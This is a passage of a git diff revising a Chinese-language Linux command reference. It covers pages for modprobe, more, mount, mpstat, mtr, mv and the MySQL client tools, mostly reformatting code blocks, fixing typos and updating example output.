+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+freq: 59.87Hz
+```
+
+在 `MIPI` 屏幕上将会看到闪烁的彩色块。
+
+------
+
+```shell
+~# modetest -M rockchip -s 211@108:1200x1920 -C
+setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108
+starting cursor
+```
+
+在 `MIPI` 屏幕上将会看到静止的彩色块。
+
+
diff --git a/command/modprobe.md b/command/modprobe.md
index 417e160396f..677ef204a81 100644
--- a/command/modprobe.md
+++ b/command/modprobe.md
@@ -9,15 +9,15 @@ modprobe
modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。
-### 语法
+### 语法
-```
+```shell
modprobe(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a或--all:载入全部的模块;
-c或--show-conf:显示所有模块的设置信息;
-d或--debug:使用排错模式;
@@ -29,39 +29,39 @@ modprobe(选项)(参数)
-help:显示帮助。
```
-### 参数
+### 参数
模块名:要加载或移除的模块名称。
-### 实例
+### 实例
**查看modules的配置文件:**
-```
+```shell
modprobe -c
```
这里,可以查看modules的配置文件,比如模块的alias别名是什么等。会打印许多行信息,例如其中的一行会类似如下:
-```
+```shell
alias symbol:ip_conntrack_unregister_notifier ip_conntrack
```
**列出内核中所有已经或者未挂载的所有模块:**
-```
+```shell
modprobe -l
```
这里,我们能查看到我们所需要的模块,然后根据我们的需要来挂载;其实`modprobe -l`读取的模块列表就位于/lib/modules/\`uname -r \`目录中;其中`uname -r`是内核的版本,例如输出结果的其中一行是:
-```
+```shell
/lib/modules/2.6.18-348.6.1.el5/kernel/net/netfilter/xt_statistic.ko
```
**挂载vfat模块:**
-```
+```shell
modprobe vfat
```
@@ -69,11 +69,11 @@ modprobe vfat
**移除已经加载的模块:**
-```
+```shell
modprobe -r 模块名
```
这里,移除已加载的模块,和rmmod功能相同。
-
+
diff --git a/command/more.md b/command/more.md
index 85c1fcdc96e..f2b61f8b2f6 100644
--- a/command/more.md
+++ b/command/more.md
@@ -1,6 +1,6 @@
more
===
-
+
显示文件内容,每次显示一屏
## 补充说明
@@ -9,22 +9,22 @@ more
该命令一次显示一屏文本,满屏后停下来,并且在屏幕的底部出现一个提示信息,给出至今己显示的该文件的百分比:--More--(XX%)可以用下列不同的方法对提示做出回答:
-* 按Space键:显示文本的下一屏内容。
-* 按Enier键:只显示文本的下一行内容。
+* 按 `Space` 键:显示文本的下一屏内容。
+* 按 `Enter` 键:只显示文本的下一行内容。
* 按斜线符`|`:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。
* 按H键:显示帮助屏,该屏上有相关的帮助信息。
* 按B键:显示上一屏内容。
-* 按Q键:退出rnore命令。
+* 按Q键:退出more命令。
-### 语法
+### 语法
-```
+```shell
more(语法)(参数)
```
-### 选项
+### 选项
-```
+```shell
-<数字>:指定每屏显示的行数;
-d:显示“[press space to continue,'q' to quit.]”和“[Press 'h' for instructions]”;
-c:不进行滚屏操作。每次刷新这个屏幕;
@@ -33,23 +33,23 @@ more(语法)(参数)
+<数字>:从指定数字的行开始显示。
```
-### 参数
+### 参数
文件:指定分页显示内容的文件。
-### 实例
+### 实例
-显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完核的百分比。
+显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完成的百分比。
-```
+```shell
more -dc file
```
显示文件file的内容,每10行显示一次,而且在显示之前先清屏。
-```
+```shell
more -c -10 file
```
-
\ No newline at end of file
+
diff --git a/command/mount.md b/command/mount.md
index 616557c8a4c..8e23f9a58a1 100644
--- a/command/mount.md
+++ b/command/mount.md
@@ -1,24 +1,26 @@
mount
===
-用于挂载Linux系统外的文件。
+用于挂载Linux系统外的文件
## 补充说明
**mount命令** Linux mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。
-### 语法
+如果通过webdav协议挂载网络磁盘,需要运行指令`apt install davfs2`安装必要的组件
-```
+### 语法
+
+```shell
mount [-hV]
mount -a [-fFnrsvw] [-t vfstype]
mount [-fnrsvw] [-o options [,...]] device | dir
mount [-fnrsvw] [-t vfstype] [-o options] device dir
```
-### 选项
+### 选项
-```
+```shell
-V:显示程序版本
-h:显示辅助讯息
-v:显示较讯息,通常和 -f 用来除错。
@@ -37,8 +39,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir
-o auto、-o noauto:打开/关闭自动挂上模式。
-o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async.
-o dev、-o nodev-o exec、-o noexec允许执行档被执行。
--o suid、-o nosuid:
-允许执行档在 root 权限下执行。
+-o suid、-o nosuid:允许执行档在 root 权限下执行。
-o user、-o nouser:使用者可以执行 mount/umount 的动作。
-o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。
-o ro:用唯读模式挂上。
@@ -46,27 +47,38 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir
-o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。
```
-### 实例
+### 实例1
将 `/dev/hda1` 挂在 `/mnt` 之下。
-```
-#mount /dev/hda1 /mnt
+```shell
+mount /dev/hda1 /mnt
```
将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。
-```
-#mount -o ro /dev/hda1 /mnt
+```shell
+mount -o ro /dev/hda1 /mnt
```
-将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。
+将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光碟 ISO 档在不烧录成光碟的情况下检视其内容。
+```shell
+mount -o loop /tmp/image.iso /mnt/cdrom
```
-#mount -o loop /tmp/image.iso /mnt/cdrom
-```
+### 实例2
+通过 webdav 协议挂载网络硬盘
+
+将`https://your.webdav.link.here`的网络存储以网络磁盘的形式挂载到系统路径`/path/to/mount`
+```shell
+mount -t davfs https://your.webdav.link.here /path/to/mount
+```
+### 实例3
+挂载 Android 系统 system 分区到 `/dev/loopX`,在知道文件格式的情况下,可以用 -t 来指定文件格式,比如 ext4。
-
+```shell
+mount -t ext4 /dev/loopX /mnt/system
+```
diff --git a/command/mpstat.md b/command/mpstat.md
index 4790e6a25d1..d4a89e0108a 100644
--- a/command/mpstat.md
+++ b/command/mpstat.md
@@ -1,95 +1,136 @@
mpstat
===
-
+
显示各个可用CPU的状态
## 补充说明
-**mpstat命令** 指令主要用于多CPU环境下,它显示各个可用CPU的状态系你想。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。
+**mpstat命令** 主要用于多CPU环境下,它显示各个可用CPU的状态信息。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。
-### 语法
+### 语法
-```
-mpstat(选项)(参数)
+```shell
+mpstat [选项] [<间隔时间> [<次数>]]
```
-### 选项
+### 选项
-```
+```shell
-P:指定CPU编号。
```
-### 参数
+### 参数
-* 间隔时间:每次报告的间隔时间(秒);
-* 次数:显示报告的次数。
+- 间隔时间:每次报告的间隔时间(秒);
+- 次数:显示报告的次数。
-### 实例
+### 表头含义
+- %user:表示处理用户进程所使用CPU的百分比。
+- %nice:表示在用户级别处理经nice降级的程序所使用CPU的百分比。
+- %system:表示内核进程使用的CPU百分比。
+- %iowait:表示等待进行I/O所占用CPU时间百分比。
+- %irq:表示用于处理系统中断的CPU百分比。
+- %soft:表示用于处理软件中断的CPU百分比。
+- %steal:在管理程序为另一个虚拟处理器服务时,显示虚拟的一个或多个CPU在非自愿等待中花费的时间的百分比。
+- %guest:表示一个或多个CPU在运行虚拟处理器时所花费的时间百分比。
+- %gnice:表示一个或多个CPU在运行经nice降级后的虚拟处理器时所花费的时间百分比。
+- %idle:CPU的空闲时间百分比。
+
+### 实例
当mpstat不带参数时,输出为从系统启动以来的平均值。
-```
+```shell
mpstat
-Linux 2.6.9-5.31AXsmp (builder.redflag-linux.com) 12/16/2005
-09:38:46 AM CPU %user %nice %system %iowait %irq %soft %idle intr/s
-09:38:48 AM all 23.28 0.00 1.75 0.50 0.00 0.00 74.47 1018.59
+Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/14/2022 _x86_64_ (4 CPU)
+
+04:28:36 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
+04:28:36 PM all 0.03 0.00 0.07 0.00 0.00 0.01 0.00 0.00 0.00 99.89
```
- **每2秒产生了2个处理器的统计数据报告:**
+ **每2秒产生了全部处理器的统计数据报告:**
-下面的命令可以每2秒产生了2个处理器的统计数据报告,一共产生三个interval 的信息,然后再给出这三个interval的平均信息。默认时,输出是按照CPU 号排序。第一个行给出了从系统引导以来的所有活跃数据。接下来每行对应一个处理器的活跃状态。。
+下面的命令可以每2秒产生全部处理器的统计数据报告,一共产生三个interval的信息,最后再给出这三个interval的平均信息。默认时,输出是按照CPU号排序。第一个行给出了2秒内所有处理器使用情况。接下来每行对应一个处理器使用情况。
-```
+```shell
mpstat -P ALL 2 3
-Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010
-09:34:20 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s
-09:34:22 PM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 1001.49
-09:34:22 PM 0 0.00 0.00 0.50 0.00 0.00 0.00 0.00 99.50 1001.00
-09:34:22 PM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 0.00
+Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU)
+
+09:32:43 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
+09:32:45 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:45 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:45 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:45 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:45 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+
+09:32:45 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
+09:32:47 AM all 0.00 0.00 0.12 0.00 0.00 0.12 0.00 0.00 0.00 99.75
+09:32:47 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:47 AM 1 0.00 0.00 0.50 0.00 0.00 0.00 0.00 0.00 0.00 99.50
+09:32:47 AM 2 0.00 0.00 0.00 0.00 0.00 0.50 0.00 0.00 0.00 99.50
+09:32:47 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+
+09:32:47 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
+09:32:49 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:49 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:49 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:49 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+09:32:49 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+
+Average: CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
+Average: all 0.00 0.00 0.04 0.00 0.00 0.04 0.00 0.00 0.00 99.92
+Average: 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
+Average: 1 0.00 0.00 0.17 0.00 0.00 0.00 0.00 0.00 0.00 99.83
+Average: 2 0.00 0.00 0.00 0.00 0.00 0.17 0.00 0.00 0.00 99.83
+Average: 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
```
**比较带参数和不带参数的mpstat的结果:**
-在后台开一个2G的文件
+对localhost进行压力测试
-```
-cat 1.img &
+```shell
+ping -f localhost
```
然后在另一个终端运行mpstat命令
-```
+```shell
mpstat
-Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010
-10:17:31 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s
-10:17:31 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.40 1004.57
-```
+Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU)
+09:34:20 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
+09:34:20 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88
```
+
+上文说到:当mpstat不带参数时,输出为从系统启动以来的平均值,所以这看不出什么变化。
+
+```shell
mpstat
-Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010
-10:17:35 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s
-10:17:35 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.39 1004.73
-```
+Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU)
+09:34:40 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
+09:34:40 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88
```
+
+只有加上间隔时间才能显示某一段时间CPU的使用情况
+
+```shell
mpstat 3 10
-Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010
-10:17:55 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s
-10:17:58 PM all 13.12 0.00 20.93 0.00 1.83 9.80 0.00 54.32 2488.08
-10:18:01 PM all 10.82 0.00 19.30 0.83 1.83 9.32 0.00 57.90 2449.83
-10:18:04 PM all 10.95 0.00 20.40 0.17 1.99 8.62 0.00 57.88 2384.05
-10:18:07 PM all 10.47 0.00 18.11 0.00 1.50 8.47 0.00 61.46 2416.00
-10:18:10 PM all 11.81 0.00 22.63 0.00 1.83 11.98 0.00 51.75 2210.60
-10:18:13 PM all 6.31 0.00 10.80 0.00 1.00 5.32 0.00 76.58 1795.33
-10:18:19 PM all 1.75 0.00 3.16 0.75 0.25 1.25 0.00 92.85 1245.18
-10:18:22 PM all 11.94 0.00 19.07 0.00 1.99 8.29 0.00 58.71 2630.46
-10:18:25 PM all 11.65 0.00 19.30 0.50 2.00 9.15 0.00 57.40 2673.91
-10:18:28 PM all 11.44 0.00 21.06 0.33 1.99 10.61 0.00 54.56 2369.87
-Average: all 9.27 0.00 16.18 0.30 1.50 7.64 0.00 65.11 2173.54
+Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU)
+
+09:36:21 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
+09:36:24 AM all 1.81 0.00 7.03 0.00 0.00 6.37 0.00 0.00 0.00 84.79
+09:36:27 AM all 1.82 0.00 6.88 0.00 0.00 5.83 0.00 0.00 0.00 85.47
+09:36:30 AM all 1.95 0.00 5.86 0.00 0.00 4.98 0.00 0.00 0.00 87.21
+09:36:33 AM all 3.95 0.00 6.50 0.00 0.00 5.46 0.00 0.00 0.00 84.09
+09:36:36 AM all 4.05 0.00 6.21 0.00 0.00 5.64 0.00 0.00 0.00 84.10
+09:36:39 AM all 4.21 0.00 6.92 0.00 0.00 5.33 0.00 0.00 0.00 83.54
+09:36:42 AM all 3.72 0.00 7.17 0.00 0.00 6.05 0.00 0.00 0.00 83.05
+09:36:45 AM all 3.97 0.00 6.93 0.00 0.00 6.65 0.00 0.00 0.00 82.46
+09:36:48 AM all 4.30 0.00 9.55 0.00 0.00 9.55 0.00 0.00 0.00 76.59
+09:36:51 AM all 4.35 0.00 9.31 0.00 0.00 8.79 0.00 0.00 0.00 77.55
+Average: all 3.44 0.00 7.28 0.00 0.00 6.52 0.00 0.00 0.00 82.76
```
上两表显示出当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。
-
-
-
\ No newline at end of file
diff --git a/command/mtools.md b/command/mtools.md
index 266bb952df6..0380550f6a0 100644
--- a/command/mtools.md
+++ b/command/mtools.md
@@ -1,21 +1,21 @@
mtools
===
-
+
显示mtools支持的指令
## 补充说明
**mtools命令** 显示mtools支持的指令,mtools为MS-DOS文件系统的工具程序,可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接,因此会有一些共同的特性。
-### 语法
+### 语法
-```
+```shell
mtools(选项)
```
-### 选项
+### 选项
-```
+```shell
-a:长文件名重复时自动更改目标文件的长文件名;
-A:短文件名重复但长文件名不同时自动更改目标文件的短文件名;
-o:长文件名重复时,将目标文件覆盖现有的文件;
@@ -28,21 +28,19 @@ mtools(选项)
-V:显示版本信息。
```
-### 实例
+### 实例
使用mtools命令显示其支持的所有的指令,输入如下命令:
-```
+```shell
[root@localhost ~]# mtools #显示所有支持的指令名称
Supported commands:
mattrib, mbadblocks, mcat, mcd, mclasserase, mcopy, mdel, mdeltree
mdir, mdoctorfat, mdu, mformat, minfo, mlabel, mmd, mmount
mpartition, mrd, mread, mmove, mren, mshowfat, mtoolstest, mtype
mwrite, mzip
-
```
如上所示,其显示的所有命令均为mtools工具所支持的。
-
\ No newline at end of file
diff --git a/command/mtr.md b/command/mtr.md
new file mode 100644
index 00000000000..fdcd34ea0f7
--- /dev/null
+++ b/command/mtr.md
@@ -0,0 +1,93 @@
+mtr
+===
+
+`mtr` 结合了 `traceroute` 和 `ping` 程序的功能,是一款简单的网络诊断工具
+
+## 补充说明
+
+用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后,它会向每台机器发送一系列 ICMP ECHO 请求,以确定与每台机器的链路质量。在此过程中,它会打印每台机器的运行统计数据。
+
+Debian 发行版已经内置了 `mtr`,其它发行版可自行安装,支持主流操作系统。
+可以访问其[官网](https://www.bitwizard.nl/mtr)详细了解。
+
+### 语法
+
+```shell
+mtr (参数) (目标ip/域名)
+```
+
+### 参数
+
+| 参数 | 解释
+---- | ----
+`-r` | 以报告模式显示
+`-c` | 发送数据包大小
+`-n` | 不用主机名解释
+`-s` | 指定ping数据包的大小
+`--report` | 不动态显示结果
+
+### 实例
+
+使用 `-r` 参数显示报告:
+
+```shell
+[root@localhost ~]# mtr -r github.com
+
+HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev
+ 1.|-- 161.129.42.1 0.0% 10 0.5 0.5 0.4 0.6 0.1
+ 2.|-- 10.12.52.0 0.0% 10 0.9 1.2 0.8 3.4 0.8
+ 3.|-- unn-138-199-1-182.cdn77.c 0.0% 10 0.9 0.8 0.8 0.9 0.1
+ 4.|-- 63.217.254.209 70.0% 10 1.3 1.3 1.2 1.3 0.0
+ 5.|-- 63-216-176-146.static.pcc 0.0% 10 4.1 3.6 1.1 12.9 3.5
+ 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 10 2.8 5.5 1.7 24.0 6.9
+ 7.|-- be-102-0.ibr01.hkg20.ntwk 20.0% 10 36.4 36.5 36.3 36.7 0.1
+ 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 10 36.4 37.3 36.3 39.5 1.4
+ 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 10 35.9 38.8 35.9 53.3 5.4
+ 10.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 11.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 12.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 13.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
+ 15.|-- 20.205.243.166 0.0% 10 35.7 35.8 35.7 35.9 0.0
+```
+
+使用 `-c` 参数设置每秒发送数据包数量:
+
+```shell
+[root@localhost ~]# mtr -r -c 30 github.com
+
+HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev
+ 1.|-- 161.129.42.1 0.0% 30 0.5 0.4 0.3 1.2 0.2
+ 2.|-- 10.12.52.0 0.0% 30 0.8 1.2 0.8 9.2 1.6
+ 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 3.0 0.4
+ 4.|-- 63.217.254.209 40.0% 30 1.3 1.3 1.1 2.4 0.3
+ 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.0 3.1 1.0 13.5 3.4
+ 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 1.7 2.2 1.6 5.7 0.9
+ 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.4 36.6 36.3 38.9 0.5
+ 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 30 36.7 47.1 36.2 102.7 21.0
+ 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 41.4 35.9 78.4 8.8
+ 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 11.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 12.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 13.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 14.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+ 15.|-- 20.205.243.166 0.0% 30 35.7 35.8 35.6 35.8 0.0
+```
+
+使用 `-s` 参数指定 `ping` 数据包的大小:
+
+```shell
+[root@localhost ~]# mtr -r -c 30 -s 1024 github.com
+
+HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev
+ 1.|-- 161.129.42.1 0.0% 30 0.6 0.6 0.3 4.3 0.7
+ 2.|-- 10.12.52.0 0.0% 30 1.0 1.1 0.8 7.0 1.1
+ 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 1.1 0.1
+ 4.|-- 63.217.254.209 66.7% 30 1.3 1.3 1.2 1.5 0.1
+ 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.1 3.3 1.0 18.4 4.5
+ 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 2.2 3.7 1.7 12.2 2.5
+ 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.5 36.6 36.4 38.9 0.5
+ 8.|-- be-10-0.ibr01.sg3.ntwk.ms 33.3% 30 38.3 36.9 36.3 39.1 0.7
+ 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 38.4 35.9 66.6 5.9
+ 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0
+```
diff --git a/command/mv.md b/command/mv.md
index 5fc24c8345b..6737c65760b 100644
--- a/command/mv.md
+++ b/command/mv.md
@@ -14,15 +14,15 @@ mv命令可以用来将源文件移至一个目标文件中,或将一组文件
注意事项:mv与cp的结果不同,mv好像文件“搬家”,文件个数并未增加。而cp对文件进行复制,文件个数增加了。
-### 语法
+### 语法
-```
+```shell
mv(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--backup=<备份模式>:若需覆盖文件,则覆盖前先行备份;
-b:当文件存在时,覆盖前,为其创建一个备份;
-f:若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文件或目录;
@@ -33,84 +33,84 @@ mv(选项)(参数)
-u:当源文件比目标文件新或者目标文件不存在时,才执行移动操作。
```
-### 参数
+### 参数
* 源文件:源文件列表。
* 目标文件:如果“目标文件”是文件名则在移动文件的同时,将其改名为“目标文件”;如果“目标文件”是目录名则将源文件移动到“目标文件”下。
-### 实例
+### 实例
将目录`/usr/men`中的所有文件移到当前目录(用`.`表示)中:
-```
+```shell
mv /usr/men/* .
```
移动文件
-```
+```shell
mv file_1.txt /home/office/
```
移动多个文件
-```
+```shell
mv file_2.txt file_3.txt file_4.txt /home/office/
mv *.txt /home/office/
```
移动目录
-```
+```shell
mv directory_1/ /home/office/
```
重命名文件或目录
-```bash
+```shell
mv file_1.txt file_2.txt # 将文件file_1.txt改名为file_2.txt
```
重命名目录
-```
+```shell
mv directory_1/ directory_2/
```
打印移动信息
-```bash
+```shell
mv -v *.txt /home/office
```
提示是否覆盖文件
-```
+```shell
mv -i file_1.txt /home/office
```
源文件比目标文件新时才执行更新
-```
+```shell
mv -uv *.txt /home/office
```
不要覆盖任何已存在的文件
-```
+```shell
mv -vn *.txt /home/office
```
复制时创建备份
-```
+```shell
mv -bv *.txt /home/office
```
无条件覆盖已经存在的文件
-```
+```shell
mv -f *.txt /home/office
```
-
+
diff --git a/command/mysql.md b/command/mysql.md
index 3054928d97c..df678893502 100644
--- a/command/mysql.md
+++ b/command/mysql.md
@@ -1,30 +1,29 @@
mysql
===
-
+
MySQL服务器客户端工具
## 补充说明
**mysql命令** 是MySQL数据库服务器的客户端工具,它工作在命令行终端中,完成对远程MySQL数据库服务器的操作。
-### 语法
+### 语法
-```
+```shell
mysql(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-h:MySQL服务器的ip地址或主机名;
-u:连接MySQL服务器的用户名;
-e:执行mysql内部命令;
-p:连接MySQL服务器的密码。
```
-### 参数
+### 参数
数据库:指定连接服务器后自动打开的数据库。
-
\ No newline at end of file
diff --git a/command/mysqladmin.md b/command/mysqladmin.md
index d882423b247..0b234d825b0 100644
--- a/command/mysqladmin.md
+++ b/command/mysqladmin.md
@@ -1,34 +1,34 @@
mysqladmin
===
-
+
MySQL服务器管理客户端
## 补充说明
**mysqladmin命令** 是mysql服务器管理任务的客户端工具,它可以检查mytsql服务器的配置和当前工作状态,创建和删除数据库,创建用户和修改用户密码等操作。
-### 语法
+### 语法
-```
+```shell
mysqladmin(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-h:MySQL服务器主机名或ip地址;
-u:连接MySQL服务器的用户名;
-p:连接MySQL服务器的密码;
--help:显示帮助信息。
```
-### 参数
+### 参数
管理命令:需要在MySQL服务器上执行的管理命令。
**mysqladmin支持下列命令:**
-```
+```shell
create databasename:创建一个新数据库;
drop databasename:删除一个数据库及其所有表;
extended-status:给出服务器的一个扩展状态消息;
@@ -49,4 +49,3 @@ version:得到服务器的版本信息。
```
-
\ No newline at end of file
diff --git a/command/mysqldump.md b/command/mysqldump.md
index d87e31a2027..d1d067b680f 100644
--- a/command/mysqldump.md
+++ b/command/mysqldump.md
@@ -1,21 +1,21 @@
mysqldump
===
-
+
MySQL数据库中备份工具
## 补充说明
**mysqldump命令** 是mysql数据库中备份工具,用于将MySQL服务器中的数据库以标准的sql语言的方式导出,并保存到文件中。
-### 语法
+### 语法
-```
+```shell
mysqldump(选项)
```
-### 选项
+### 选项
-```
+```shell
--add-drop-table:在每个创建数据库表语句前添加删除数据库表的语句;
--add-locks:备份数据库表时锁定数据库表;
--all-databases:备份MySQL服务器上的所有数据库;
@@ -32,31 +32,39 @@ mysqldump(选项)
--password:连接MySQL服务器的密码;
--port:MySQL服务器的端口号;
--user:连接MySQL服务器的用户名。
+--skip-lock-tables: 不锁表导出
```
-### 实例
+### 实例
**导出整个数据库**
-```
+```shell
mysqldump -u 用户名 -p 数据库名 > 导出的文件名
mysqldump -u linuxde -p smgp_apps_linuxde > linuxde.sql
```
**导出一个表**
-```
+```shell
mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名
mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql
```
**导出一个数据库结构**
-```
+```shell
mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql
```
`-d`没有数据,`--add-drop-tabl`e每个create语句之前增加一个`drop table`
+### 问题解决
+
+**锁表失败**
+```
+mysqldump: Got error: 1044: "Access denied for user 'appuser'@'1%' to database 'tc_mall'" when doing LOCK TABLES
+```
+可使用`--skip-lock-tables`在导出数据阶段跳过锁表流程
+
-
\ No newline at end of file
diff --git a/command/mysqlimport.md b/command/mysqlimport.md
index f6fb644c41a..99edd434597 100644
--- a/command/mysqlimport.md
+++ b/command/mysqlimport.md
@@ -1,21 +1,21 @@
mysqlimport
===
-
+
为MySQL服务器用命令行方式导入数据
## 补充说明
**mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。
-### 语法
+### 语法
-```
+```shell
mysqlimport(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-D:导入数据前清空表;
-f:出现错误时继续处理剩余的操作;
-h:MySQL服务器的ip地址或主机名;
@@ -23,10 +23,9 @@ mysqlimport(选项)(参数)
-p:连接MySQL服务器的密码。
```
-### 参数
+### 参数
* 数据库名:指定要导入的数据库名称;
* 文本文件:包含特定格式文本文件。
-
\ No newline at end of file
diff --git a/command/mysqlshow.md b/command/mysqlshow.md
index 85b5fb9f316..fa50769089e 100644
--- a/command/mysqlshow.md
+++ b/command/mysqlshow.md
@@ -1,21 +1,21 @@
mysqlshow
===
-
+
显示MySQL中数据库相关信息
## 补充说明
**mysqlshow命令** 用于显示mysql服务器中数据库、表和列表信息。
-### 语法
+### 语法
-```
+```shell
mysqlshow(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-h:MySQL服务器的ip地址或主机名;
-u:连接MySQL服务器的用户名;
-p:连接MySQL服务器的密码;
@@ -25,9 +25,8 @@ mysqlshow(选项)(参数)
-i:显示数据表的额外信息。
```
-### 参数
+### 参数
